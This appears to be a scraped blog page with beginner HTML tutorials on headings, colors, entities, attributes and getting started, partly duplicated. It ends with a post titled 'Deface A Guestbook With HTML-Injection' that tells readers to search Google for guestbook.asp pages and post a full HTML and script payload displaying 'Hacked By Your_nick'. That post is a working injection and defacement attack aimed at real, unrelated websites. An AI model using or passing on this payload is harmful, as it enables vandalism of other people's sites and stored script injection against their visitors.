he biggest problem faced by majority of newbie bloggers and web developers is editing their templates. And the reason for this is lack of awareness with browser languages like CSS, XML, HTML, JavaScript etc. There are several websites online that have tutorials in these fields and one of such websites is www.w3schools.com This website is popular because it lets you play with the code! It has an Online HTML Editor Tool that lets you see live preview of the code that you use. Many developers find this tool pretty useful but has someone ever imagined that you can actually rip this tool out of w3schools and use it offline for practicing coding while offline? Well fortunately after some trial and error we could successfully create a similar tool entitled as “MBT HTML Editor” This is the first time all bloggers are having a chance to have fun playing with important codes like CSS, HTML and JavaScript and learn important coding in a more interesting way! Now you can actually test a code before adding them to blogger.
Showing posts with label HTML. Show all posts
Showing posts with label HTML. Show all posts
HTML Entities
Some characters like the < character, have a special meaning in HTML, and therefore cannot be used in the text.
To display a less than sign (<) in HTML, we have to use a character entity.
HTML Formatting
Heading
Type this code:
<h1>Heading 1</h1>
<h2>Heading 2 </h2>
<h3>Heading 3 </h3>
<h4>Heading 4 </h4>
<h5>Heading 5 </h5>
<h6>Heading 6 </h6>
HTML Colors
Background Color
Type this code:
<h3 style="background-color:blue">HTML Colors</h3>
Result is:
Type this code:
<h3 style="background-color:blue">HTML Colors</h3>
Result is:
HTML Colors
HTML Attributes
HTML - Class or ID Attribute
The class and id attributes are nearly identical. They play no direct role in formatting your elements but rather serve behind the scenes for scripting and Cascading Style Sheets (CSS). The role of classification and identifying elements will become more apparent as your learn CSS. The idea is that you can classify or id certain a tag and later format the tag using Cascading Style Sheets. It becomes necessary when you have two or more of the same element on a page (like a tag) but want them to be different in appearance.
The class and id attributes are nearly identical. They play no direct role in formatting your elements but rather serve behind the scenes for scripting and Cascading Style Sheets (CSS). The role of classification and identifying elements will become more apparent as your learn CSS. The idea is that you can classify or id certain a tag and later format the tag using Cascading Style Sheets. It becomes necessary when you have two or more of the same element on a page (like a tag) but want them to be different in appearance.
HTML Get Started
What You Need You need ,a HTML editor(Notepad,html pad etc.)
1 Create an HTML file
1 Create an HTML file
- An HTML file is simply a text file saved with an .html or .htm extension (i.e. Index.html or .htm as .test)
- Open your text editor (Notepad if you're using Windows or TextEdit if you're using a Mac). You could use a specialized HTML editor such as DreamWeaver or htmpad if.
- Create a new file
- Save the file as html(Started.html)
''Deface'' A Guestbook With HTML-Injection
Go to google and search: guestbook.asp
When you find a guestbook, send in this as a comment:
< --- Inizio codice --- >
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<BODY bgColor=#000000>.
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Hacked By Your_nick</title>
<script>alert("Hacked By Your_nick - Italian Hackers")</script>
<style type="text/css">
<!--
.style1 {
font-size: 36px;
font-family: Arial, Helvetica, sans-serif;
color: #00FF00;
}
.style2 {font-size: 18px; font-family: Arial, Helvetica, sans-serif;
color: #ffffff; }
.style3 {font-size: 36px; font-family: Arial, Helvetica, sans-serif;
color: #000000; font-weight: bold; }
-->
</style>
</head>
<body>
<center><p class="style1"><img
src="http://www.baywoodracquetclub.com/images/warning.jpg" width="301"
height="268"></p>
</center>
<p align="center" class="style1"><strong>This Web Site contains bug -
HaCkEd By Your_Nick - Italian Hackers
</strong></p>
<p align="center" class="style3"><img
src="http://www.scuolepistoia.it/lsssalutati/Immagini/Formazione/Progetto
%20SOU%20(Spazio%20Orientamento%20Universitario).gif" width="204"
height="153"></p>
<p class="style1"> </p>
<p class="style1"> </p>
<p align="center" class="style2"><b>Site HaCkEd By Your_Nick</b></p>
<p class="style1"> </p>
<p class="style1"> </p>
</body>
</html>
< ---- Fine codice --- >
Subscribe to:
Posts (Atom)
